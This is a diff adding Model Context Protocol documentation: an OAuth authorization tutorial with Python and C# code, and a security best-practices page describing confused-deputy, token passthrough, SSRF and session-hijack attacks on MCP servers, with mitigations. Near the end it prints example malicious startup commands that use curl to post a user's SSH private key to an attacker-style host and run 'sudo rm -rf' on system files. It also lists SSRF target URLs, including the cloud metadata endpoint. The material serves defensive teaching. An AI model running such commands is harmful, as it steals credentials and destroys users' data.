+ - Provides RFC 9728 Protected Resource Metadata
+ - Validates tokens via Authorization Server introspection
+ - Serves MCP tools requiring authentication
+
+ Configuration is loaded from config.py and environment variables.
+ """
+ logging.basicConfig(level=logging.INFO)
+
+ try:
+ config.validate()
+ oauth_urls = create_oauth_urls()
+
+ except ValueError as e:
+ logger.error("Configuration error: %s", e)
+ return 1
+
+ try:
+ mcp_server = create_server()
+
+ logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
+ logger.info("Authorization Server: %s", oauth_urls["issuer"])
+ logger.info("Transport: %s", config.TRANSPORT)
+
+ mcp_server.run(transport=config.TRANSPORT)
+ return 0
+
+ except Exception:
+ logger.exception("Server error")
+ return 1
+
+
+ if __name__ == "__main__":
+ exit(main())
+ ```
+
+ Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts
+
+ ```python theme={null}
+ """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ import logging
+ from typing import Any
+
+ from mcp.server.auth.provider import AccessToken, TokenVerifier
+ from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
+
+ logger = logging.getLogger(__name__)
+
+
+ class IntrospectionTokenVerifier(TokenVerifier):
+ """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662).
+ """
+
+ def __init__(
+ self,
+ introspection_endpoint: str,
+ server_url: str,
+ client_id: str,
+ client_secret: str,
+ ):
+ self.introspection_endpoint = introspection_endpoint
+ self.server_url = server_url
+ self.client_id = client_id
+ self.client_secret = client_secret
+ self.resource_url = resource_url_from_server_url(server_url)
+
+ async def verify_token(self, token: str) -> AccessToken | None:
+ """Verify token via introspection endpoint."""
+ import httpx
+
+ if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
+ return None
+
+ timeout = httpx.Timeout(10.0, connect=5.0)
+ limits = httpx.Limits(max_connections=10, max_keepalive_connections=5)
+
+ async with httpx.AsyncClient(
+ timeout=timeout,
+ limits=limits,
+ verify=True,
+ ) as client:
+ try:
+ form_data = {
+ "token": token,
+ "client_id": self.client_id,
+ "client_secret": self.client_secret,
+ }
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+ response = await client.post(
+ self.introspection_endpoint,
+ data=form_data,
+ headers=headers,
+ )
+
+ if response.status_code != 200:
+ return None
+
+ data = response.json()
+ if not data.get("active", False):
+ return None
+
+ if not self._validate_resource(data):
+ return None
+
+ return AccessToken(
+ token=token,
+ client_id=data.get("client_id", "unknown"),
+ scopes=data.get("scope", "").split() if data.get("scope") else [],
+ expires_at=data.get("exp"),
+ resource=data.get("aud"), # Include resource in token
+ )
+
+ except Exception as e:
+ return None
+
+ def _validate_resource(self, token_data: dict[str, Any]) -> bool:
+ """Validate token was issued for this resource server.
+
+ Rules:
+ - Reject if 'aud' missing.
+ - Accept if any audience entry matches the derived resource URL.
+ - Supports string or list forms per JWT spec.
+ """
+ if not self.server_url or not self.resource_url:
+ return False
+
+ aud: list[str] | str | None = token_data.get("aud")
+ if isinstance(aud, list):
+ return any(self._is_valid_resource(a) for a in aud)
+ if isinstance(aud, str):
+ return self._is_valid_resource(aud)
+ return False
+
+ def _is_valid_resource(self, resource: str) -> bool:
+ """Check if the given resource matches our server."""
+ return check_resource_allowed(self.resource_url, resource)
+ ```
+
+ For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
+
+
+
+ You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
+
+ To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
+
+ ```csharp theme={null}
+ using Microsoft.AspNetCore.Authentication.JwtBearer;
+ using Microsoft.IdentityModel.Tokens;
+ using ModelContextProtocol.AspNetCore.Authentication;
+ using ProtectedMcpServer.Tools;
+ using System.Security.Claims;
+
+ var builder = WebApplication.CreateBuilder(args);
+
+ var serverUrl = "http://localhost:3000/";
+ var authorizationServerUrl = "http://localhost:8080/realms/master/";
+
+ builder.Services.AddAuthentication(options =>
+ {
+ options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
+ options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
+ })
+ .AddJwtBearer(options =>
+ {
+ options.Authority = authorizationServerUrl;
+ var normalizedServerAudience = serverUrl.TrimEnd('/');
+ options.TokenValidationParameters = new TokenValidationParameters
+ {
+ ValidIssuer = authorizationServerUrl,
+ ValidAudiences = new[] { normalizedServerAudience, serverUrl },
+ AudienceValidator = (audiences, securityToken, validationParameters) =>
+ {
+ if (audiences == null) return false;
+ foreach (var aud in audiences)
+ {
+ if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ };
+
+ options.RequireHttpsMetadata = false; // Set to true in production
+
+ options.Events = new JwtBearerEvents
+ {
+ OnTokenValidated = context =>
+ {
+ var name = context.Principal?.Identity?.Name ?? "unknown";
+ var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
+ Console.WriteLine($"Token validated for: {name} ({email})");
+ return Task.CompletedTask;
+ },
+ OnAuthenticationFailed = context =>
+ {
+ Console.WriteLine($"Authentication failed: {context.Exception.Message}");
+ return Task.CompletedTask;
+ },
+ };
+ })
+ .AddMcp(options =>
+ {
+ options.ResourceMetadata = new()
+ {
+ Resource = new Uri(serverUrl),
+ ResourceDocumentation = new Uri("https://docs.example.com/api/math"),
+ AuthorizationServers = { new Uri(authorizationServerUrl) },
+ ScopesSupported = ["mcp:tools"]
+ };
+ });
+
+ builder.Services.AddAuthorization();
+
+ builder.Services.AddHttpContextAccessor();
+ builder.Services.AddMcpServer()
+ .WithTools()
+ .WithHttpTransport();
+
+ var app = builder.Build();
+
+ app.UseAuthentication();
+ app.UseAuthorization();
+
+ app.MapMcp().RequireAuthorization();
+
+ Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
+ Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
+ Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
+ Console.WriteLine("Exposed Math tools: Add, Multiply");
+ Console.WriteLine("Press Ctrl+C to stop the server");
+
+ app.Run(serverUrl);
+ ```
+
+ For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
+
+
+
+## Testing the MCP Server
+
+For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
+
+Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
+
+```json theme={null}
+"my-mcp-server-18676652": {
+ "url": "http://localhost:3000",
+ "type": "http"
+}
+```
+
+On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
+
+
+
+
+
+After consenting, you will see the tools listed right above the server entry in `mcp.json`.
+
+
+
+
+
+You will be able to invoke individual tools with the help of the `#` sign in the chat view.
+
+
+
+
+
+## Common Pitfalls and How to Avoid Them
+
+For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/docs/2025-03-26/tutorials/security/security_best_practices). A few key issues are called out below.
+
+* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
+* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
+* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
+* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
+* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
+* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
+* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
+* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
+* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
+* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
+* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
+* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
+* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
+* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
+
+## Related Standards and Documentation
+
+MCP authorization builds on these well-established standards:
+
+* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
+* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
+* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
+* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
+* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
+
+For additional details, refer to:
+
+* [Authorization Specification](/specification/2025-03-26/basic/authorization)
+* [Security Best Practices](/docs/2025-03-26/tutorials/security/security_best_practices)
+* [Available MCP SDKs](/docs/2025-03-26/sdk)
+
+Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
diff --git a/content/mcp/docs/2025-03-26/tutorials/security/security_best_practices.md b/content/mcp/docs/2025-03-26/tutorials/security/security_best_practices.md
new file mode 100644
index 000000000..0ce012771
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/tutorials/security/security_best_practices.md
@@ -0,0 +1,901 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Security Best Practices
+
+> Security considerations, attack vectors, and best practices for MCP implementations
+
+## Introduction
+
+### Purpose and Scope
+
+This document provides security considerations for the Model Context
+Protocol (MCP), complementing the
+[MCP Authorization](/specification/2025-03-26/basic/authorization)
+specification. This document identifies security risks, attack vectors,
+and best practices specific to MCP implementations.
+
+The primary audience for this document includes developers implementing
+MCP authorization flows, MCP server operators, and security
+professionals evaluating MCP-based systems. This document should be read
+alongside the MCP Authorization specification and
+[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
+
+## Attacks and Mitigations
+
+This section gives a detailed description of attacks on MCP
+implementations, along with potential countermeasures.
+
+### Confused Deputy Problem
+
+Attackers can exploit MCP proxy servers that connect to third-party
+APIs, creating
+"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
+vulnerabilities. This attack allows malicious clients to obtain
+authorization codes without proper user consent by exploiting the
+combination of static client IDs, dynamic client registration, and
+consent cookies.
+
+#### Terminology
+
+**MCP Proxy Server**
+: An MCP server that connects MCP clients to third-party APIs, offering
+MCP features while delegating operations and acting as a single OAuth
+client to the third-party API server.
+
+**Third-Party Authorization Server**
+: Authorization server that protects the third-party API. It may lack
+dynamic client registration support, requiring the MCP proxy to use a
+static client ID for all requests.
+
+**Third-Party API**
+: The protected resource server that provides the actual API
+functionality. Access to this API requires tokens issued by the
+third-party authorization server.
+
+**Static Client ID**
+: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
+communicating with the third-party authorization server. This Client ID
+refers to the MCP server acting as a client to the Third-Party API. It
+is the same value for all MCP server to Third-Party API interactions
+regardless of which MCP client initiated the request.
+
+#### Vulnerable Conditions
+
+This attack becomes possible when all of the following conditions are
+present:
+
+* MCP proxy server uses a **static client ID** with a third-party
+ authorization server
+* MCP proxy server allows MCP clients to **dynamically register** (each
+ getting their own client\_id)
+* The third-party authorization server sets a **consent cookie** after
+ the first authorization
+* MCP proxy server does not implement proper per-client consent before
+ forwarding to third-party authorization
+
+#### Architecture and Attack Flows
+
+##### Normal OAuth proxy usage (preserves user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant MC as MCP Client
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+
+ Note over UA,M: Initial Auth flow completed
+
+ Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
+
+ M->>UA: Redirect to third party authorization server
+ UA->>TAS: Authorization request (client_id: mcp-proxy)
+ TAS->>UA: Authorization consent screen
+ Note over UA: Review consent screen
+ UA->>TAS: Approve
+ TAS->>UA: Set consent cookie for client ID: mcp-proxy
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to MCP Client with MCP authorization code
+
+ Note over M,UA: Exchange code for token, etc.
+```
+
+##### Malicious OAuth proxy usage (skips user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+ participant A as Attacker
+
+
+ Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
+ A->>M: Dynamically register malicious client, redirect_uri: attacker.com
+ A->>UA: Sends malicious link
+ UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
+ rect rgba(255, 17, 0, 0.67)
+ TAS->>TAS: Cookie present, consent skipped
+ end
+
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to attacker.com with MCP Authorization code
+ UA->>A: MCP Authorization code delivered to attacker.com
+ Note over M,A: Attacker exchanges MCP code for MCP token
+ A->>M: Attacker impersonates user to MCP server
+```
+
+#### Attack Description
+
+When an MCP proxy server uses a static client ID to authenticate with
+a third-party authorization server, the following attack becomes
+possible:
+
+1. A user authenticates normally through the MCP proxy server to access
+ the third-party API
+2. During this flow, the third-party authorization server sets a cookie
+ on the user agent indicating consent for the static client ID
+3. An attacker later sends the user a malicious link containing a
+ crafted authorization request which contains a malicious redirect URI
+ along with a new dynamically registered client ID
+4. When the user clicks the link, their browser still has the consent
+ cookie from the previous legitimate request
+5. The third-party authorization server detects the cookie and skips the
+ consent screen
+6. The MCP authorization code is redirected to the attacker's server
+ (specified in the malicious `redirect_uri` parameter during
+ [dynamic client registration](/specification/2025-03-26/basic/authorization#dynamic-client-registration))
+7. The attacker exchanges the stolen authorization code for access
+ tokens for the MCP server without the user's explicit approval
+8. The attacker now has access to the third-party API as the compromised
+ user
+
+#### Mitigation
+
+To prevent confused deputy attacks, MCP proxy servers **MUST** implement
+per-client consent and proper security controls as detailed below.
+
+##### Consent Flow Implementation
+
+The following diagram shows how to properly implement per-client consent
+that runs **before** the third-party authorization flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant Browser as User's Browser
+ participant MCP as MCP Server
+ participant ThirdParty as Third-Party AuthZ Server
+
+ Note over Client,ThirdParty: 1. Client Registration (Dynamic)
+ Client->>MCP: Register with redirect_uri
+ MCP-->>Client: client_id
+
+ Note over Client,ThirdParty: 2. Authorization Request
+ Client->>Browser: Open MCP server authorization URL
+ Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
+
+ alt Check MCP Server Consent
+ MCP->>MCP: Check consent for this client_id
+ Note over MCP: Not previously approved
+ end
+
+ MCP->>Browser: Show MCP server-owned consent page
+ Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
+ Browser->>MCP: POST /consent (approve)
+ MCP->>MCP: Store consent decision for client_id
+
+ Note over Client,ThirdParty: 3. Forward to Third-Party
+ MCP->>Browser: Redirect to third-party /authorize
+ Note over MCP: Use static client_id for third-party
+
+ Browser->>ThirdParty: Authorization request (static client_id)
+ ThirdParty->>Browser: User authenticates & consents
+ ThirdParty->>Browser: Redirect with auth code
+
+ Browser->>MCP: Callback with third-party code
+ MCP->>ThirdParty: Exchange code for token (using static client_id)
+ MCP->>Browser: Redirect to client's registered redirect_uri
+```
+
+##### Required Protections
+
+**Per-Client Consent Storage**
+
+MCP proxy servers **MUST**:
+
+* Maintain a registry of approved `client_id` values per user
+* Check this registry **before** initiating the third-party
+ authorization flow
+* Store consent decisions securely (server-side database, or server
+ specific cookies)
+
+**Consent UI Requirements**
+
+The MCP-level consent page **MUST**:
+
+* Clearly identify the requesting MCP client by name
+* Display the specific third-party API scopes being requested
+* Show the registered `redirect_uri` where tokens will be sent
+* Implement CSRF protection (e.g., state parameter, CSRF tokens)
+* Prevent iframing via `frame-ancestors` CSP directive or
+ `X-Frame-Options: DENY` to prevent clickjacking
+
+**Consent Cookie Security**
+
+If using cookies to track consent decisions, they **MUST**:
+
+* Use `__Host-` prefix for cookie names
+* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
+* Be cryptographically signed or use server-side sessions
+* Bind to the specific `client_id` (not just "user has consented")
+
+**Redirect URI Validation**
+
+The MCP proxy server **MUST**:
+
+* Validate that the `redirect_uri` in authorization requests exactly
+ matches the registered URI
+* Reject requests if the `redirect_uri` has changed without
+ re-registration
+* Use exact string matching (not pattern matching or wildcards)
+
+**OAuth State Parameter Validation**
+
+The OAuth `state` parameter is critical to prevent authorization code
+interception and CSRF attacks. Proper state validation ensures that
+consent approval at the authorization endpoint is enforced at the
+callback endpoint.
+
+MCP proxy servers implementing OAuth flows **MUST**:
+
+* Generate a cryptographically secure random `state` value for each
+ authorization request
+* Store the `state` value server-side (in a secure session store or
+ encrypted cookie) **only after** consent has been explicitly approved
+* Set the `state` tracking cookie/session **immediately before**
+ redirecting to the third-party identity provider (not before consent
+ approval)
+* Validate at the callback endpoint that the `state` query parameter
+ exactly matches the stored value in the callback request's cookies or
+ in the request's cookie-based session
+* Reject any callback requests where the `state` parameter is missing
+ or does not match
+* Ensure `state` values are single-use (delete after validation) and
+ have a short expiration time (e.g., 10 minutes)
+
+The consent cookie or session containing the `state` value **MUST NOT**
+be set until **after** the user has approved the consent screen at the
+MCP server's authorization endpoint. Setting this cookie before consent
+approval renders the consent screen ineffective, as an attacker could
+bypass it by crafting a malicious authorization request.
+
+### Token Passthrough
+
+"Token passthrough" is an anti-pattern where an MCP server accepts
+tokens from an MCP client without validating that the tokens were
+properly issued *to the MCP server* and passes them through to the
+downstream API.
+
+#### Risks
+
+Token passthrough is explicitly forbidden in the
+[authorization specification](/specification/2025-03-26/basic/authorization)
+as it introduces a number of security risks, that include:
+
+* **Security Control Circumvention**
+ * The MCP Server or downstream APIs might implement important security
+ controls like rate limiting, request validation, or traffic
+ monitoring, that depend on the token audience or other credential
+ constraints. If clients can obtain and use tokens directly with the
+ downstream APIs without the MCP server validating them properly or
+ ensuring that the tokens are issued for the right service, they
+ bypass these controls.
+* **Accountability and Audit Trail Issues**
+ * The MCP Server will be unable to identify or distinguish between MCP
+ Clients when clients are calling with an upstream-issued access token
+ which may be opaque to the MCP Server.
+ * The downstream Resource Server's logs may show requests that appear
+ to come from a different source with a different identity, rather
+ than the MCP server that is actually forwarding the tokens.
+ * Both factors make incident investigation, controls, and auditing
+ more difficult.
+ * If the MCP Server passes tokens without validating their claims
+ (e.g., roles, privileges, or audience) or other metadata, a
+ malicious actor in possession of a stolen token can use the server
+ as a proxy for data exfiltration.
+* **Trust Boundary Issues**
+ * The downstream Resource Server grants trust to specific entities.
+ This trust might include assumptions about origin or client behavior
+ patterns. Breaking this trust boundary could lead to unexpected
+ issues.
+ * If the token is accepted by multiple services without proper
+ validation, an attacker compromising one service can use the token
+ to access other connected services.
+* **Future Compatibility Risk**
+ * Even if an MCP Server starts as a "pure proxy" today, it might need
+ to add security controls later. Starting with proper token audience
+ separation makes it easier to evolve the security model.
+
+#### Mitigation
+
+MCP servers **MUST NOT** accept any tokens that were not explicitly
+issued for the MCP server.
+
+### Server-Side Request Forgery (SSRF)
+
+Server-Side Request Forgery (SSRF) is an attack where an attacker can
+induce an MCP client to make HTTP requests to unintended destinations,
+potentially accessing internal network resources, cloud metadata
+endpoints, or other protected services.
+
+#### Attack Description
+
+During OAuth metadata discovery, MCP clients fetch URLs from several
+sources that could be controlled by a malicious MCP server:
+
+1. The `resource_metadata` URL from the `WWW-Authenticate` header
+2. The `authorization_servers` URLs from the Protected Resource Metadata
+ document
+3. The `token_endpoint`, `authorization_endpoint`, and other URLs from
+ Authorization Server Metadata
+
+A malicious MCP server can populate these fields with URLs pointing to
+internal resources, enabling the following attack patterns:
+
+* **Direct internal IP access**: URLs like `http://192.168.1.1/admin` or
+ `http://10.0.0.1/api` target internal network services
+* **Cloud metadata endpoints**: URLs targeting
+ `http://169.254.169.254/` (AWS/GCP/Azure metadata service) can
+ exfiltrate cloud credentials and instance information
+* **Localhost services**: URLs like `http://localhost:6379/` can interact
+ with local services (Redis, databases, admin panels)
+* **DNS rebinding**: Domains that change DNS resolution between
+ validation and use (e.g., `https://attacker.com` resolving to a safe
+ IP initially, then to `192.168.1.1`)
+* **Redirect chains**: Normal-looking URLs that redirect to internal
+ resources
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant MCP as Malicious MCP Server
+ participant Internal as Internal Service
+
+ Client->>MCP: Connect to MCP server
+ MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
+
+ Note over Client: Client follows URL without validation
+ Client->>Internal: GET http://169.254.169.254/latest/meta-data/
+ Internal-->>Client: Cloud credentials/metadata
+
+ Note over Client: Error or response details leak to attacker
+ Client->>MCP: Subsequent request with error details
+```
+
+#### Risks
+
+* **Credential exfiltration**: Cloud metadata endpoints often expose
+ IAM credentials, API keys, and other secrets
+* **Internal network reconnaissance**: Error messages reveal information
+ about internal network topology and services
+* **Service interaction**: POST requests (e.g., to token endpoints) can
+ trigger mutations on internal services
+* **Firewall bypass**: The MCP client acts as a proxy, bypassing network
+ perimeter controls
+* **Data exfiltration**: Internal service responses may be reflected back
+ to attackers through error messages or OAuth flows
+
+#### Mitigation
+
+MCP clients deployed to a server **MUST** consider SSRF risks and
+implement appropriate mitigations when fetching OAuth-related URLs.
+Which protections are appropriate depend on your network environment.
+
+**Enforce HTTPS**
+
+MCP clients **SHOULD** require HTTPS for all OAuth-related URLs in
+production environments:
+
+* Reject `http://` URLs except for loopback addresses (`localhost`,
+ `127.0.0.1`, `::1`) during development
+* This aligns with
+ [OAuth 2.1 Section 1.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5)
+ which requires HTTPS for all OAuth protocol URLs except loopback
+ redirect URIs
+* Provide an explicit opt-out mechanism for development/testing
+ scenarios
+
+**Block Private IP Ranges**
+
+MCP clients **SHOULD** block requests to private and reserved IP address
+ranges as recommended by
+[RFC 9728 Section 7.7](https://datatracker.ietf.org/doc/html/rfc9728#section-7.7):
+
+* Private IPv4 ranges: `10.0.0.0/8`, `172.16.0.0/12`,
+ `192.168.0.0/16`
+* Loopback: `127.0.0.0/8`, `::1` (except when explicitly allowed for
+ development)
+* Link-local: `169.254.0.0/16` (including cloud metadata endpoints)
+* Private IPv6 ranges: `fc00::/7`, `fe80::/10`
+
+
+ Avoid implementing IP validation manually. Attackers exploit encoding tricks
+ (octal, hex, IPv4-mapped IPv6) that custom parsers often miss.
+
+
+**Validate Redirect Targets**
+
+MCP clients **SHOULD** apply the same URL validation to redirect
+targets:
+
+* Do not blindly follow redirects to internal resources
+* Apply HTTPS and IP range restrictions to redirect destinations
+* Consider disabling automatic redirect following and validating each
+ hop
+
+**Use Egress Proxies**
+
+For server-side MCP client deployments, operators **SHOULD** consider
+using an egress proxy that enforces network policies:
+
+* Route OAuth discovery requests through a proxy that blocks internal
+ destinations
+* Use tools like
+ [Smokescreen](https://github.com/stripe/smokescreen) or similar
+ egress proxies that prevent SSRF by design
+* Configure network policies to restrict the MCP client's outbound
+ access
+
+**DNS Resolution Considerations**
+
+Be aware of Time-of-Check to Time-of-Use (TOCTOU) issues with
+DNS-based validation:
+
+* An attacker's domain may resolve to a safe IP during validation but
+ to an internal IP during the actual request
+* Consider pinning DNS resolution results between check and use
+* Defense in depth: combine DNS checks with other mitigations
+
+#### Resources and Tools
+
+The following resources can help developers implement SSRF protections
+in MCP clients.
+
+**Reference Documentation**
+
+* [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html):
+ Comprehensive guidance on SSRF prevention techniques, including input
+ validation, allowlist strategies, and network-level controls
+* [OWASP Top 10 A10:2021 - SSRF](https://owasp.org/Top10/2021/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/):
+ SSRF in the context of the most critical web application security
+ risks
+
+### Session Hijacking
+
+Session hijacking is an attack vector where a client is provided a
+session ID by the server, and an unauthorized party is able to obtain
+and use that same session ID to impersonate the original client and
+perform unauthorized actions on their behalf.
+
+#### Session Hijack Prompt Injection
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant ServerA
+ participant Queue
+ participant ServerB
+ participant Attacker
+
+ Client->>ServerA: Initialize (connect to streamable HTTP server)
+ ServerA-->>Client: Respond with session ID
+
+ Attacker->>ServerB: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>ServerB: Trigger event (malicious payload, using session ID)
+ ServerB->>Queue: Enqueue event (keyed by session ID)
+
+ ServerA->>Queue: Poll for events (using session ID)
+ Queue-->>ServerA: Event data (malicious payload)
+
+ ServerA-->>Client: Async response (malicious payload)
+ Client->>Client: Acts based on malicious payload
+```
+
+#### Session Hijack Impersonation
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+ participant Attacker
+
+ Client->>Server: Initialize (login/authenticate)
+ Server-->>Client: Respond with session ID (persistent session created)
+
+ Attacker->>Server: Access/guess session ID
+ Note right of Attacker: Attacker knows/guesses session ID
+
+ Attacker->>Server: Make API call (using session ID, no re-auth)
+ Server-->>Attacker: Respond as if Attacker is Client (session hijack)
+```
+
+#### Attack Description
+
+When you have multiple stateful HTTP servers that handle MCP requests,
+the following attack vectors are possible:
+
+**Session Hijack Prompt Injection**
+
+1. The client connects to **Server A** and receives a session ID.
+
+2. The attacker obtains an existing session ID and sends a malicious
+ event to **Server B** with said session ID.
+ * When a server supports
+ [redelivery/resumable streams](/specification/2025-03-26/basic/transports#resumability-and-redelivery),
+ deliberately terminating the request before receiving the response
+ could lead to it being resumed by the original client via the GET
+ request for server sent events.
+ * If a particular server initiates server sent events as a
+ consequence of a tool call such as a
+ `notifications/tools/list_changed`, where it is possible to affect
+ the tools that are offered by the server, a client could end up
+ with tools that they were not aware were enabled.
+
+3. **Server B** enqueues the event (associated with session ID) into a
+ shared queue.
+
+4. **Server A** polls the queue for events using the session ID and
+ retrieves the malicious payload.
+
+5. **Server A** sends the malicious payload to the client as an
+ asynchronous or resumed response.
+
+6. The client receives and acts on the malicious payload, leading to
+ potential compromise.
+
+**Session Hijack Impersonation**
+
+1. The MCP client authenticates with the MCP server, creating a
+ persistent session ID.
+2. The attacker obtains the session ID.
+3. The attacker makes calls to the MCP server using the session ID.
+4. MCP server does not check for additional authorization and treats the
+ attacker as a legitimate user, allowing unauthorized access or
+ actions.
+
+#### Mitigation
+
+To prevent session hijacking and event injection attacks, the following
+mitigations should be implemented:
+
+MCP servers that implement authorization **MUST** verify all inbound
+requests. MCP Servers **MUST NOT** use sessions for authentication.
+
+MCP servers **MUST** use secure, non-deterministic session IDs.
+Generated session IDs (e.g., UUIDs) **SHOULD** use secure random number
+generators. Avoid predictable or sequential session identifiers that
+could be guessed by an attacker. Rotating or expiring session IDs can
+also reduce the risk.
+
+MCP servers **SHOULD** bind session IDs to user-specific information.
+When storing or transmitting session-related data (e.g., in a queue),
+combine the session ID with information unique to the authorized user,
+such as their internal user ID. Use a key format like
+`:`. This ensures that even if an attacker guesses
+a session ID, they cannot impersonate another user as the user ID is
+derived from the user token and not provided by the client.
+
+MCP servers can optionally leverage additional unique identifiers.
+
+### Local MCP Server Compromise
+
+Local MCP servers are MCP Servers running on a user's local machine,
+either by the user downloading and executing a server, authoring a
+server themselves, or installing through a client's configuration flows.
+These servers may have direct access to the user's system and may be
+accessible to other processes running on the user's machine, making them
+attractive targets for attacks.
+
+#### Attack Description
+
+Local MCP servers are binaries that are downloaded and executed on the
+same machine as the MCP client. Without proper sandboxing and consent
+requirements in place, the following attacks become possible:
+
+1. An attacker includes a malicious "startup" command in a client
+ configuration
+2. An attacker distributes a malicious payload inside the server itself
+3. An attacker accesses an insecure local server that's left running on
+ localhost via DNS rebinding
+
+Example malicious startup commands that could be embedded:
+
+```bash theme={null}
+# Data exfiltration
+npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location
+
+# Privilege escalation
+sudo rm -rf /important/system/files && echo "MCP server installed!"
+```
+
+#### Risks
+
